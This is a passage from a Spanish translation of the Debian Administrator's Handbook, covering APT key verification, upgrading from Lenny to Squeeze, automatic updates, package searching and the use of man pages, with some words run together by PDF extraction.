Page 579: El Libro Del Administrador de Debian - Raphael Hertzog

nuevas llaves de forma manual (cuandose necesitan réplicas no oficiales).Generalmente sin embargo, sólonecesitará las llaves oficiales deDebian. Estas llaves se mantienenactualizadas de forma automática porel paquete debian-archive-keyring (queejecuta apt-key cuando es instalado oactualizado). Sin embargo, la primerainstalación de este paquete requierecierto cuidado: aún si el paquete estáfirmado como cualquier otro, no sepuede verificar dicha firma. Losadministradores cautelosos deberían,por lo tanto, verificar las huellas de lasllaves importadas antes de confiar enellas para instalar nuevos paquetes:

# apt-key fingerprint

Page 580: El Libro Del Administrador de Debian - Raphael Hertzog

/etc/apt/trusted.gpg

--------------------

pub 1024D/F42584E6 2008-04-06 [expires: 2012-05-15]

Key fingerprint = 7F5A 4445 4C72 4A65 CBCD 4FB1 4D27 0D06 F425 84E6

uid Lenny Stable Release Key <[email protected]>

pub 4096R/55BE302B 2009-01-27 [expires: 2012-12-31]

Key fingerprint = 150C 8614 919D 8446 E01E 83AF 9AA3 8DCD 55BE 302B

uid Debian Archive Automatic Signing Key (5.0/lenny) <[email protected]>

pub 2048R/6D849617 2009-01-24 [expires: 2013-01-23]

Key fingerprint = F6CF DE30 6133 3CE2 A43F DAF0 DFD9 9330 6D84 9617

uid Debian-Volatile Archive Automatic Signing Key (5.0/lenny)

pub 4096R/B98321F9 2010-08-07 [expires: 2017-08-05]

Key fingerprint = 0E4E DE2C 7F3E 1FC0 D033 800E 6448 1591 B983 21F9

uid Squeeze Stable Release Key <[email protected]>

pub 4096R/473041FA 2010-08-27 [expires: 2018-03-05]

Key fingerprint = 9FED 2BCB DCD2 9CDF 7626 78CB AED4 B06F 4730 41FA

uid Debian Archive Automatic Signing Key (6.0/squeeze) <[email protected]>

Page 581: El Libro Del Administrador de Debian - Raphael Hertzog

EN LA PRÁCTICA Agregando llavesconfiables

Cuando se agrega una fuente de paquetesde terceros al archivo sources.list, senecesita informar a APT sobre las llavesGPG confiables correspondientes (de locontrario continuará quejándose de queno puede asegurar la autenticidad de lospaquetes que provengan de dichorepositorio). El primer paso es,obviamente, obtener la llave pública. Lamayoría de las veces encontrará dichallave en un pequeño archivo de texto quellamaremos key.asc en los siguientesejemplos.

Para agregar la llave al conjuntoconfiable, el administrador puede ejecutarapt-key add < key.asc. Otra forma esutilizar la interfaz gráfica synaptic: su

Page 582: El Libro Del Administrador de Debian - Raphael Hertzog

pestaña «Autenticación» en el menúConfiguración → Repositorios provee lacapacidad de importar una llave delarchivo key.asc.

Aquellos que prefieren una aplicacióndedicada y más detalles sobre las llavesconfiables pueden utilizar gui-apt-key(en el paquete con el mismo nombre), unapequeña interfaz gráfica para el usuarioque administra el conjunto de llavesconfiables.

Una vez que las llaves apropiadas seecuentran en el conjunto, APT revisarálas firmas antes de cualquier operaciónriesgosa para que las interfacesmuestren una advertencia cuando esténinstalando un paquete sobre el que no

Page 583: El Libro Del Administrador de Debian - Raphael Hertzog

se puede verificar autenticidad.

Page 584: El Libro Del Administrador de Debian - Raphael Hertzog

6.6. Actualizandode unadistribuciónestable a lasiguienteUna de las características másconocidas de Debian es su habilidad deactualizar un sistema instalado de unaversión estable a la siguiente: «dist-upgrade» — una frase muy conocida— contribuyó en gran medida a lareputación del proyecto. Tomando unas

Page 585: El Libro Del Administrador de Debian - Raphael Hertzog

pocas precauciones, actualizar unequipo puede tomar tan poco comounos cuantos, o unas docenas, deminutos dependiendo de la velocidadde descarga de los repositorios depaquetes.

6.6.1. ProcedimientorecomendadoDado que Debian tiene bastante tiempopara evolucionar entre versionesestables debería leer las notas depublicación antes de actualizar.

VOLVER A LOS CIMIENTOS Notas de

Page 586: El Libro Del Administrador de Debian - Raphael Hertzog

publicación

Las notas de publicación para un sistemaoperativo (y, más generalmente, paracualquier software) son un documentoque provee una vista general del softwarecon algunos detalles sobre lasparticularidades de una versión. Estosdocumentos son generalmente cortoscomparados con la documentacióncompleta y frecuentemente listan lascaracterísticas introducidas desde laversión anterior. También proveendetalles sobre los procedimientos deactualización, advertencias para losusuarios de las versiones anteriores y, aveces, una errata.

Las notas de publicación estándisponibles online: las de la versiónestable actual tienen una URL dedicada

Page 587: El Libro Del Administrador de Debian - Raphael Hertzog

mientras que se pueden encontrar lasanteriores según sus nombre código:

→ http://www.debian.org/releases/stable/releasenotes

→ http://www.debian.org/releases/lenny/releasenotes

En esta sección nos centraremos enactualizar un sistema Lenny a Squeeze.Esta es una operación de granenvergadura en un sistema; como talnunca está 100% libre de riesgos y nodebería intentarse antes de tenerrespaldos de todos los datosimportantes.

Otro buen hábito que haría laactualización más sencilla (y más

Page 588: El Libro Del Administrador de Debian - Raphael Hertzog

corta) es ordenar sus paquetesinstalados y sólo mantener aquellosque son realmente necesarios. Lasherramientas útiles para realizarloincluyen aptitude, deborphan ydebfoster (revise la Section 6.4.1,“aptitude”). Por ejemplo, puedeutilizar la siguiente orden:

# deborphan | xargs aptitude remove

Ahora la actualización en sí. Primeronecesita cambiar el archivo/etc/apt/sources.list paraindicarle a APT que obtenga suspaquetes de Squeeze en lugar de Lenny.Si el archivo sólo contiene referenciasa Stable en lugar de nombres códigoexplícitos no necesita hacer este

Page 589: El Libro Del Administrador de Debian - Raphael Hertzog

cambio ya que Stable siempre hacereferencia a la última versión deDebian publicada. En ambos casos,necesita actualizar la base de datos depaquetes disponibles (con aptitudeupdate o el botón de actualización ensynaptic).

Una vez que están registradas lasnuevas fuentes de paquetes, necesitaactualizar los paquetes aptitude y apt;sus versiones en Lenny tienen ciertaslimitaciones que podrían comprometerla actualización automática.

Recuerde actualizar (o instalar) lospaquetes más esenciales listados acontinuación, de lo contrario podría

Page 590: El Libro Del Administrador de Debian - Raphael Hertzog

encontrar que su sistema no iniciará:

el gestor de arranque grub-pc ogrub-legacy (a veces lilo);las herramientas que crean eldisco virtual inicial (initrd):initramfs-tools;la biblioteca estándar: libc6 oalguna de sus variantesoptimizadas como libc6-i686;el sistema de gestión de archivosde dispositivos: udev;por último, pero no menosimportante, el núcleo:dependiendo del hardware puedeutilizar los metapaquetes linux-image-486, linux-image-686 olinux-image-686-bigmem. Éstos

Page 591: El Libro Del Administrador de Debian - Raphael Hertzog

paquetes sólo funcionarán con laarquitectura i386, los dueños deequipos basados en hardwarediferente utilizarán otros paquetes,muy probablemente linux-image-2.6-amd64 para AMD64 o linux-image-powerpc* para PowerPC.

Una vez que se completaron estosprimeros pasos llegó el momento de laactualización en sí, ya sea con aptitudeo synaptic. Debería verificarcuidadosamente las acciones sugeridasantes de ejecutarlas: podría desearagregar paquetes sugeridos odeseleccionar paquetes que sólo sonrecomendados y sabe que no seránútiles. En cualquier caso, la interfaz

Page 592: El Libro Del Administrador de Debian - Raphael Hertzog

debería proveer un escenario quetermine con un sistema Squeezecoherente y actualizado. Luego, todo loque necesita hacer es esperar mientrasse descargan los paquetes necesarios,responder las preguntas Debconf yposiblemente aquellas sobre archivosde configuración modificadoslocalmente y sentarse a esperarmientras APT hace su magia.

6.6.2. Afrontandoproblemas tras unaactualizaciónA pesar de los mejores esfuerzos de los

Page 593: El Libro Del Administrador de Debian - Raphael Hertzog

encargados de Debian, unaactualización general del sistema no essiempre tan fluida como uno desearía.Nuevas versiones de software podríanser incompatibles con las anteriores(por ejemplo, podrían haber cambiadosus comportamientos predeterminadoso sus formatos de datos). También, sepueden haber colado algunos errores apesar de la fase de pruebas que precedea una publicación de Debian.

Para anticiparse a algunos de estosproblemas, puede instalar el paqueteapt-listchanges que muestrainformación acerca de posiblesproblemas al prinicipio de laactualización de un paquete. Los

Page 594: El Libro Del Administrador de Debian - Raphael Hertzog

encargados de los paquetes recopilanesta información y la incorporan a losarchivos/usr/share/doc/paquete/NEWS.Debian

para el beneficio de los usuarios. Leerestos archivos (posiblemente a travésde apt-listchanges) debería ayudarle aevitar sorpresas desagradables.

A veces podría encontrar que la nuevaversión de un software no funciona enabsoluto. Esto generalmente ocurre sila aplicación no es popular o no fueprobada lo suficiente; unaactualización de último momentotambién podría introducir regresionesque se encuentran sólo luego de lapublicación estable. En ambos casos, loprimero a hacer es revisar el sistema de

Page 595: El Libro Del Administrador de Debian - Raphael Hertzog

seguimiento de errores enhttp://bugs.debian.org/paquete yverificar si el problema ya fuereportado. Si no lo fue, deberíareportarlo con reportbug. Si ya esconocido, tanto el reporte de errorcomo los mensajes asociados suelenser exelentes fuentes de informaciónsobre el problema:

a veces existe un parche y estádisponible en el reporte de error,puede recompilar localmente unaversión corregida del paquete roto(revise la Section 15.1,“Recompilación de un paquetedesde sus fuentes”);en otros casos, los usuarios

Page 596: El Libro Del Administrador de Debian - Raphael Hertzog

podrían haber encontrado unaforma de evitar el problema ycompartido sus experiencias ensus respuestas al reporte;en otros casos más, puede que elencargado ya haya preparado ypublicado un paquete corregido.

Dependiendo de la severidad del error,se podría llegar a preparar una nuevaversión del paquete específicamentepara una nueva revisión de la versiónestable. Cuando esto sucede, el paquetecorregido estará disponible en lasección proposed-updates de lasréplicas de Debian (revise laSection 6.1.1.1, “Actualizaciones deStable”). Puede agregar temporalmetne

Page 597: El Libro Del Administrador de Debian - Raphael Hertzog

la línea correspondiente al archivosources.list e instalar los paquetesactualizados con apt-get o aptitude.

A veces el paquete corregido no estádisponible en esta sección porque estáesperando validación de los Gestoresde versiones estables. Puede verificarsi este es el caso en su página web. Lospaquetes allí listados aún no estándisponibles pero al menos sabe que elproceso de publicación está en marcha.

→ http://release.debian.org/proposed-updates/stable.html

Page 598: El Libro Del Administrador de Debian - Raphael Hertzog

6.7. Manteniendoun sistemaactualizadoLa distribución Debian es dinámica ycambia continuamente. La mayoría delos cambios tienen lugar en lasversiones Testing y Unstable, peroincluso Stable es actualizada de vez encuando, principalmente paracorrecciones relacionadas con laseguridad. Independientemente de laversión de Debian que ejecute en elsistema, generalmente es buena ideamantenerlo actualizado para poder

Page 599: El Libro Del Administrador de Debian - Raphael Hertzog

beneficiarse de las evolucionesrecientes y correcciones de errores.

Si bien es posible ejecutarperiódicamente una herramienta paraverificar las actualizacionesdisponibles y aplicarlas, una tarea tanrepetitiva es tediosa, especialmentecuando debe realizarla en variasmáquinas. Afortunadamente, comovarias tareas repetitivas, puede serautomatizada parcialmente y ya sedesarrollaron un conjunto deherramientas a tal efecto.

La primera de estas herramientas esapticron en el paquete del mismonombre. Su efecto principal es ejecutar

Page 600: El Libro Del Administrador de Debian - Raphael Hertzog

diariamente un script (a través decron). El script actualiza la lista depaquetes y, si algunos paquetesinstalados no están en la última versióndisponible, envía un email con una listade estos paquetes junto con loscambios realizados en las nuevasversiones. Obviamente, este paqueteestá apuntado principalmente ausuarios de Debian Stable ya que losemails diarios serían muy extensospara las versiones de Debian másdinámicas. Cuando hayaactualizaciones disponibles, apticronlas descargará automáticamente. No lasinstalará — el administrador lo hará —pero tener los paquetes ya descargadosy disponibles localmente (en el caché

Page 601: El Libro Del Administrador de Debian - Raphael Hertzog

de APT) hace más rápido el trabajo.

Los administradores a cargo de variosequipos seguramente apreciarán serinformados de actualizacionespendientes, pero las actualizaciones ensí aún son tan tediosas como solíanserlo. Aquí es donde es útil el script/etc/cron.daily/apt (del paqueteapt). cron también ejecuta este scriptdiariamente (sin interacción delusuario). Para controlar sucomportamiento, utilice variables deconfiguración de APT (que son, por lotanto, almacenadas bajo/etc/apt/apt.conf.d/). Las tresvariables principales son:

APT::Periodic::Update-Package-

Page 602: El Libro Del Administrador de Debian - Raphael Hertzog

Lists

Esta opción le permite especificarla frecuencia (en días) con la quese actualizará las listas depaquetes. Los usuarios deapticron pueden hacerlo sin estavariable ya que apticron seencarga de esta tarea.

APT::Periodic::Download-

Upgradeable-Packages

Nuevamente, esta opción indica lafrecuencia (en días) pero paradescargar los paquetes en sí eneste caso. Otra vez, los usuarios deapticron no lo necesitarán.

Page 603: El Libro Del Administrador de Debian - Raphael Hertzog

APT::Periodic::AutocleanInterval

Esta última opción cubre unafuncionalidad que apticron notiene. Controla cuán seguido seeliminan paquetes obsoletos(aquellos a los que ya ningunadistribución hace referencia) delcaché de APT. Esto mantiene elcaché de APT de un tamañorazonable y significa que nonecesitará preocuparse por esatarea.

Otras opciones le permiten controlar elcomportamiento de la limpieza delcaché con más precisión. No estánlistadas aquí pero son descriptas en elscript /etc/cron.daily/apt.

Page 604: El Libro Del Administrador de Debian - Raphael Hertzog

Estas herramientas funcionan muy bienpara servidores, pero los usuarios demáquinas de escritorio generalmenteprefieren un sistema más interactivo.Es por eso que la tarea «Entornográfico de escritorio» instala update-notifier y update-manager. Elprimero muestra un ícono en el área denotificación de los entornos deescritorio cuando hay actualizacionesdisponibles; pulsar este ícono ejecutaupdate-manager, una interfazsimplificada para realizaractualizaciones. Puede navegar a travésde las actualizaciones disponibles, leerla descripción de los paquetesrelevantes, sus archivos changelogdetallando los cambios y seleccionar si

Page 605: El Libro Del Administrador de Debian - Raphael Hertzog

aplicar la actualización o no caso porcaso. Es importante saber que estospaquetes continene datos deconfiguración para/etc/cron.daily/apt para queactualice la lista de paquetesdisponibles y descarge aquellosrelevantes. La combinación update-notifier/update-manager no tienetanta funcionalidad como aptitude osynaptic ya que sólo se encarga deactualizar paquetes que ya estáninstalados; como consecuencia suinterfaz minimalista deja poco lugarpara errores y, por lo tanto, poco riesgode romper el sistema.

Figure 6.3. Actualización con update-

Page 606: El Libro Del Administrador de Debian - Raphael Hertzog

manager

Page 607: El Libro Del Administrador de Debian - Raphael Hertzog
Page 608: El Libro Del Administrador de Debian - Raphael Hertzog

6.8. ActualizacionesautomáticasDado que Falcot Corp tiene muchasmáquinas pero personal limitado, susadministradores intentan hacer lasactualizaciones tan automáticas comosea posible. Los programas a cargo deesos procesos deben, por lo tanto,ejecutar sin intervención humana.

6.8.1. Configuraciónde dpkg

Page 609: El Libro Del Administrador de Debian - Raphael Hertzog

Como ya mencionamos (revise elrecuadro YENDO MÁS ALLÁ Evitandopreguntas sobre los archivos deconfiguración), se le puede indicar adpkg que no pida confirmación alreemplazar un archivo deconfiguración (con las opciones --force-confdef --force-confold).Sin embargo, las interacciones puedentener otros tres orígenes: algunasprovienen de APT mismo, algunas songestionadas por debconf y otrasocurren en la línea de órdenes debido ascripts de configuración de paquetes.

6.8.2. Configuraciónde APT

Page 610: El Libro Del Administrador de Debian - Raphael Hertzog

En el caso de APT es simple: la opción-y (o --asume-yes) le indica a APTque considere que la respuesta a todaslas preguntas será afirmativa («yes»).

6.8.3. Configuraciónde debconfEl caso de debconf merece másdetalles. El programa fue diseñado,desde su concepción, para controlar larelevancia y volúmen de las preguntasmostradas al usuario así como tambiénla forma en la que se mostrarán. Es poresto que su configuración requiere unaprioridad mínima para las preguntas;

Page 611: El Libro Del Administrador de Debian - Raphael Hertzog

sólo se mostrarán las preguntas sobrela prioridad mínima. debconf asume larespuesta predeterminada (definida porel encargado del paquete) para laspreguntas que decidió evitar.

Los otros elementos de configuraciónrelevantes es la interfaz utilizada. Siselecciona la opción noninteractive,se desactivará toda interacción con elusuario. Si un paquete intenta mostraruna nota informativa, ésta será enviadaal administrador por email.

Para reconfigurar debconf utilicedpkg-reconfigure del paquetedebconf; la orden necesaria es dpkg-reconfigure debconf. Es importante

Page 612: El Libro Del Administrador de Debian - Raphael Hertzog

saber que, si es necesario, los valoresconfigurados pueden sobreescribirsetemporalmente con variables deentorno (por ejemploDEBIAN_FRONTEND controla la interfaz,como está documentado en la página demanual debconf(7)).

6.8.4. Gestionandointeracciones de líneade órdenesLa última fuente de interacciones, y lamás difícil de la que deshacerse, sonlos scripts de configuración ejecutadospor dpkg. Desafortunadamente no hay

Page 613: El Libro Del Administrador de Debian - Raphael Hertzog

solución estándar y ninguna respuestaes mucho mejor que la otra.

El enfoque común es eliminar laentrada estándar redireccionando haciaella el contenido vacío de /dev/nullcon programa </dev/null o proveerleun flujo interminable de caracteres denueva línea. Ninguno de estos métodosson 100% confiables perogeneralmente provocan que se utilicenlas respuestas predeterminadas ya quela mayoría de los scripts consideranuna falta de respuesta como aceptacióndel valor predeterminado.

6.8.5. La combinación

Page 614: El Libro Del Administrador de Debian - Raphael Hertzog

milagrosaCombinando los elementos anterioreses posible diseñar un script pequeñopero confiable que pueda realizaractualizaciones automáticas.

Example 6.3. Script de actualizaciónno-interactivoexport DEBIAN_FRONTEND=noninteractive

yes '' | apt-get -y -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" dist-upgrade

EN LA PRÁCTICA El caso de FalcotCorp

Las máquinas de Falcot son sistemasheterogéneos, con equipos que tienenvarias funciones. Los administradoreselegirán la solución más relevante para

Page 615: El Libro Del Administrador de Debian - Raphael Hertzog

cada uno.

En la práctica, configurarán losservidores ejecutando Squeeze con la«combinación milagrosa» anterior y seránactualizados automáticamente. Sólo losservidores más críticos (los firewall, porejemplo) serán configurados conapticron para que las actualizacionessólo ocurran bajo la supervisión de unadministrador.

Las estaciones de trabajo de oficina en losservicios administrativos tambiénejecutan Squeeze, pero estánconfiguradas con la combinación update-notifier/update-manager para que losusuarios puedan disparar lasactualizaciones por sí mismos. La razónde esta decisión es que si lasactualizaciones ocurren sin una acción

Page 616: El Libro Del Administrador de Debian - Raphael Hertzog

explítica podría cambiar inesperadamenteel comportamiento del equipo causandoconfusión para sus usuarios principales.

En el laboratorio, las pocas máquinas queutilizan Testing — para aprovechar lasúltimas versiones de software — no seactualizan automáticamente tampoco. Losadministradores configuraron APT paraque prepare las actualizaciones pero queno las realice; cuando decidan actualizar(manualmente), se evitarán las partestediosas de actualizar las listas depaquetes y descargar los paquetes y losadministradores se pueden concentrar enla parte realmente útil.

Page 617: El Libro Del Administrador de Debian - Raphael Hertzog

6.9. BuscarpaquetesCon la enorme y creciente cantidad desoftware en Debian surge una paradoja:Debian generalmente tiene unaherramienta para la mayoría de lastareas, pero dicha herramienta puedeser difícil de encontrar entre tantospaquetes. La falta de formas apropiadaspara buscar (y encontrar) laherramienta correcta es un problemadesde hace tiempo. Afortunadamenteeste problema ha sido solucionado casicompletamente.

Page 618: El Libro Del Administrador de Debian - Raphael Hertzog

La búsqueda más trivial posible esbuscar el nombre exacto de un paquete.Si apt-cache show paquete devuelveun resultado entonces el paquete existe.Desafortunadamante esto necesitasaber o adiviar el nombre del paquete,lo que no es siempre posible.

TIP Convenciones de nombres depaquetes

Algunas categorías de paquetes tienenesquemas convencionales de nombres;conocer dicho esquema a veces puedepermitirle adivinar nombres de paquetesexactos. Por ejemplo, para módulos Perl,la convención dice que un módulollamado XML::Handler::Composer enorigen debe ser empaquetado comolibxml-handler-composer-perl. La

Page 619: El Libro Del Administrador de Debian - Raphael Hertzog

biblioteca que permite utilizar el sistemagconf desde Python es empaquetadacomo python-gconf. Lamentablemente noes posible definir un esquema general denombres para todos los paquetes, aunquegeneralmente los encargados de paquetesintentan seguir la elección de los autoresoriginales.

Un patrón de búsqueda ligeramentemás exitoso es una búsqueda en textoplano de los nombres de los paquetes,pero es aún muy limitada.Generalmente puede encontrarresultados buscando en la descripciónde los paquetes: dado que cada paquetetiene una descripción más o menosdetallada además de su nombre, una

Page 620: El Libro Del Administrador de Debian - Raphael Hertzog

búsqueda de palabras clave en estasdescripciones generalmente será útil.apt-cache es la herramienta másutilizada para este tipo de búsqueda;por ejemplo, apt-cache search videodevolverá una lista de todos lospaquetes cuyos nombres odescripciones contengan la palabraclave «video».

Para búsquedas más complejas necesitaherramientas más poderosas comoaptitude. aptitude le permite buscarsegún expresiones lógicas basadas enlos campos de metadatos de lospaquetes. Por ejemplo, la siguienteorden busca aquellos paquetes cuyonombre contenga kino, cuya

Page 621: El Libro Del Administrador de Debian - Raphael Hertzog

descripción contenga video y cuyonombre de encargado contenga paul:

$ aptitude search kino~dvideo~mpaul

p kino - Non-linear editor for Digital Video data

$ aptitude show kino

Package: kino

State: not installed

Version: 1.3.4-1+b1

Priority: extra

Section: video

Maintainer: Paul Brossier <[email protected]>

Uncompressed Size: 9519k

Depends: libasound2 (> 1.0.18), libatk1.0-0 (>= 1.20.0),

libavc1394-0 (>= 0.5.3), libavcodec52 (>= 4:0.5+svn20090706-3) |

libavcodec-extra-52 (>= 4:0.5+svn20090706-3), libavformat52

[…]

Recommends: ffmpeg, gawk | mawk, curl

Suggests: udev | hotplug, vorbis-tools, sox, mjpegtools, lame, ffmpeg2theora

Conflicts: kino-dvtitler, kino-timfx, kinoplus

Replaces: kino-dvtitler, kino-timfx, kinoplus

Provides: kino-dvtitler, kino-timfx, kinoplus

Page 622: El Libro Del Administrador de Debian - Raphael Hertzog

Description: Non-linear editor for Digital Video data

Kino allows you to record, create, edit, and play movies recorded with

DV camcorders. This program uses many keyboard commands for fast

navigating and editing inside the movie.

The kino-timfx, kino-dvtitler and kinoplus sets of plugins, formerly

distributed as separate packages, are now provided with Kino.

Homepage: http://www.kinodv.org/

Tags: hardware::camera, implemented-in::c, implemented-in::c++,

interface::x11, role::program, scope::application,

suite::gnome, uitoolkit::gtk, use::editing,

works-with::video, x11::application

La búsqueda solo devuelve un paquete,kino, que satisface los tres criterios.

Aún estas búsquedas multicritero soncomplejas, lo que explica porqué noson utilizadas tanto como se podría. Sedesarrolló por lo tanto un nuevo

Page 623: El Libro Del Administrador de Debian - Raphael Hertzog

sistema de etiquetas que provee unnuevo enfoque de búsqueda. Lospaquetes con ciertas etiquetas proveenuna clasificación temática según variosejes, conocido como «clasificación enbase a facetas». En el caso anterior conkino, las etiquetas del paquete indicanque Kino es un software basado enGnome que trabaja con datos de videoy cuyo propósito principal es laedición.

Navegar esta clasificación puedeayudarle a buscar un paquete que secorresponda con necesidadesconocidas; aún si devuelve unacantidad (moderada) de elementos, elresto de la búsqueda puede realizarse

Page 624: El Libro Del Administrador de Debian - Raphael Hertzog

de forma manual. Para hacerlo, puedeutilizar el patrón de búsqueda ~G enaptitude, pero probablemente sea mássencillo simplemente navegar haciadonde se administran las etiquetas:

→ http://debtags.alioth.debian.org/cloud/

Seleccionar las etiquetas works-with::video y use::editing generaunos pocos paquetes que incluyen loseditores de video kino y pitivi. Elsistema de clasificación será utilizadomás y más con el paso del tiempo y losencargados de los paquetesgradualmente proveerán interfaces debúsqueda eficientes sobre él.

Resumiendo, la mejor herramienta

Page 625: El Libro Del Administrador de Debian - Raphael Hertzog

depende de la complejidad de labúsqueda que desee hacer:

apt-cache sólo permite buscar enel nombre y la descripción de lospaquetes, lo que es muyconveniente cuando busque unpaquete particular que coincidacon unas pocas palabras clave;cuando el criterio de búsquedaincluya también relaciones entrepaquetes u otros metadatos comopor ejemplo el nombre delencargado, será más útil synaptic;cuando necesita una búsquedasobre etiquetas packagesearch esuna buena herramienta, unainterfaz gráfica dedicada a buscar

Page 626: El Libro Del Administrador de Debian - Raphael Hertzog

paquetes disponibles según varioscriterios (incluyendo el nombre delos archivos que contiene);finalmente, cuando la búsquedaimplique expresiones complejascon operaciones lógicas, laherramienta a elegir será lasintaxis de patrones de búsquedade aptitude que es bastantepotente aunque esté relativamenteescondida; se puede utilizar tantoen el modo de línea de órdenescomo en el modo interactivo.

Page 627: El Libro Del Administrador de Debian - Raphael Hertzog

Chapter 7. Resolverproblemas yencontrarinformaciónrelevantePara un administrador, la habilidadmás importante es poder enfrentarse acualquier situación conocida o no. Estecapítulo provee una serie de métodosque — esperamos — le permitirá aislarla causa de cualquier problema queencuentre para que pueda llegar a

Page 628: El Libro Del Administrador de Debian - Raphael Hertzog

resolverlo.

7.1. Fuentes dedocumentaciónAntes de que pueda entender lo querealmente está pasando cuando hay unproblema necesita saber el rol quecumple en teoría cada programainvolucrado en el problema. Parahacerlo, lo mejor que puede hacer esconsultar su documentación; pero yaque dichos documentos son numerososy muy dispersos debe saber todos loslugares donde puede encontrarlos.

Page 629: El Libro Del Administrador de Debian - Raphael Hertzog

7.1.1. Páginas demanual

CULTURA RTFM

Es el acrónimo en inglés de «lee el p**omanual» («Read The F**king Manual»)pero puede entenderse también como unavariante más amigable «lee el benditomanual» («Read The Fine Manual»). Estafrase es utilizada a veces en respuestas(bruscas) a preguntas de novatos. Esbastante abrupta y deja ver cierta molestiasobre una pregunta hecha por alguien queno se molestó siquiera en leer ladocumentación. Algunos dicen que estarespuesta clásica es mejor que ningunarespuesta (ya que indica que la

Page 630: El Libro Del Administrador de Debian - Raphael Hertzog

documentación contiene la informaciónbuscada) o que una respuesta más extensay violenta.

En cualquier caso, si alguien le responde«RTFM», es aconsejable no sentirseofendido. Esta respuesta es generalmentefastidiosa por lo que podría desear evitarrecibirla. Si la información que busca noestá en el manual, lo cual puede ocurrir,debería decirlo — preferentemente en supregunta inicial. Debería describirtambién los pasos que tomó por su cuentaintentando encontrar esta informaciónantes de hacer la pregunta en dichoámbito. Puede, antes de utilizar foros,seguir una serie de recomendaciones desentido común detalladas por EricRaymod y traducidas por Jose M.Fernández.

Page 631: El Libro Del Administrador de Debian - Raphael Hertzog

→ http://www.sindominio.net/ayuda/preguntas-inteligentes.html

→ http://catb.org/~esr/faqs/smart-questions.html

Las páginas de manual, aunqueescuetas, contienen gran cantidad deinformación esencial. Repasaremosrápidamente los programas para verlas.Simplemente ejecute manpágina_de_manual — la página demanual generalmente tiene el mismonombre que el programa sobre el quebusca documentación. Por ejemplo,para aprender sobre las opcionesposibles de cp utilizaría man cp en unaterminal (revise el recuadro).

Page 632: El Libro Del Administrador de Debian - Raphael Hertzog

VOLVER A LOS CIMIENTOS Laconsola, un intérprete de línea deórdenes

Un intérprete de línea de órdenes,también llamado «terminal», es unprograma que ejecuta las órdenes que sono bien ingresadas por el usuario oalmacenadas en un script. En el modointeractivo, muestra un «prompt» (quegeneralmente finaliza con $ para unusuario normal o con # para unadministrador) que indica que está listopara leer una orden nueva. ElAppendix B, Curso breve de emergenciadescribe el uso básico de una consola.

La consola predeterminada y másutilizada es bash («Bourne Again Shell»)pero existen otras, incluyendo dash, csh,tcsh y zsh.

Page 633: El Libro Del Administrador de Debian - Raphael Hertzog

Entre otras cosas, la mayoría de lasconsolas ofrecen ayuda ingresando datosal prompt como completado de nombresde programas o de archivos (quegeneralmente puede realizar presionandola tecla tab) o recordando órdenes previas(gestión del historial).

Las páginas de manual no sólodocumentan programas en la línea deórdenes, también archivos deconfiguración, llamadas de sistema,funciones de la biblioteca C y más. Aveces pueden coincidir ciertosnombres. Por ejemplo, la orden de laconsola read tiene el mismo nombreque la llamada de sistema read. Es poreso que las páginas de manual están

Page 634: El Libro Del Administrador de Debian - Raphael Hertzog

organizadas en secciones numeradas:

1. órdenes que pueden ser ejecutadasdesde la línea de órdenes;

2. llamadas de sistema (funcionesproporcionadas por el núcleo);

3. funciones de biblioteca(proporcionadas por lasbibliotecas del sistema);

4. dispositivos (en Unix éstos sonarchivos especiales generalmenteubicados en el directorio /dev/);

5. archivos de configuración(formatos y convenciones);

6. juegos;7. conjuntos de «macros» y

estándares;8. órdenes de administración del

Page 635: El Libro Del Administrador de Debian - Raphael Hertzog

sistema;9. rutinas del núcleo.

Es posible especificar la página delmanual que está buscando: paravisualizar la documentación de lallamada de sistema read utilizaría man2 read. Cuando no se especifique unasección explícitamente, se mostrará laprimera sección que posea una páginade manual con el nombre pedido. Porlo tanto, man shadow mostraráshadow(5) porque no hay páginas demanual para shadow en las secciones 1a 4.

SUGERENCIA whatis

Page 636: El Libro Del Administrador de Debian - Raphael Hertzog

Si no desea ver la página de manualcompleta sino sólo una descripción cortapara confirmar que es lo que estábuscando, ingrese whatis programa.

$ whatis scp

scp (1) - secure copy (remote file copy program)

Esta descripción corta está incluida en lasección NOMBRE («NAME») al principiode todas las páginas de manual.

Por supuesto, si no sabe el nombre delprograma, el manual no le será demucha utilidad. Éste es el propósito delprograma apropos que le ayuda abuscar en las páginas de manual, másespecíficamente en sus descripcionescortas. Cada página de manual

Page 637: El Libro Del Administrador de Debian - Raphael Hertzog

comienza esencialmente con unresumen de una línea. aproposdevuelve una lista de las páginas demanual que mencionan la palabra clavepedida (o todas las ingresadas). Si lasselecciona correctamente encontrará elnombre del programa que necesita.

Example 7.1. Encontrar cp conapropos

$ apropos "copy file"

cp (1) - copy files and directories

cpio (1) - copy files to and from archives

hcopy (1) - copy files from or to an HFS volume

install (1) - copy files and set attributes

SUGERENCIA Navegar siguiendoenlaces

Page 638: El Libro Del Administrador de Debian - Raphael Hertzog

Muchas páginas de manual tienen unasección «VEA TAMBIÉN» («SEEALSO»), generalmente al final. Se refierea otras páginas de manual relevantes deprogramas similares o documentaciónexterna. Es posible, de esta forma,encontrar documentación relevante aúncuando la primera opción no sea laóptima.

El programa man no es la única formade consultar las páginas de manual yaque los programas konqueror (enKDE) y yelp (en GNOME) tambiénofrecen esta funcionalidad. Existetambién una interfaz web provista porel paquete man2html que le permitever las páginas de manual en un

Page 639: El Libro Del Administrador de Debian - Raphael Hertzog

navegador web. En un equipo dondeesté instalado este paquete, utilice lasiguiente URL:

→ http://localhost/cgi-bin/man/man2html

Esta herramienta necesita un servidorweb. Es por esto que si debería elegirinstalar este paquete en uno de susservidores: todos los usuarios de la redlocal se beneficiarán de este servicio(incluyendo máquinas que no tienenLinux) y le evitará tener que configurarun servidor HTTP en cada estación detrabajo. Si puede acceder a su servidordesde otras redes podría desearrestringir el acceso a este servicio sólo

Page 640: El Libro Del Administrador de Debian - Raphael Hertzog

a los usuarios de la red local.

NORMATIVA DEBIAN Páginas demanual obligatorias

Debian requiere que cada programa tengauna página de manual. Si el autor originalno provee una, el desarrollador Debiangeneralmente escribirá una páginamínima que cuando menos dirija al lectora la ubicación de la documentaciónoriginal.

7.1.2. Documentos info

El proyecto GNU escribió manualespara la mayoría de sus programas en el

Page 641: El Libro Del Administrador de Debian - Raphael Hertzog

formato info; es por esto que muchaspáginas de manual hacen referencia ala documentación info correspondiente.El formato tiene ciertas ventajas, peroel programa para visualizar estosdocumentos es también ligeramentemás complejo.

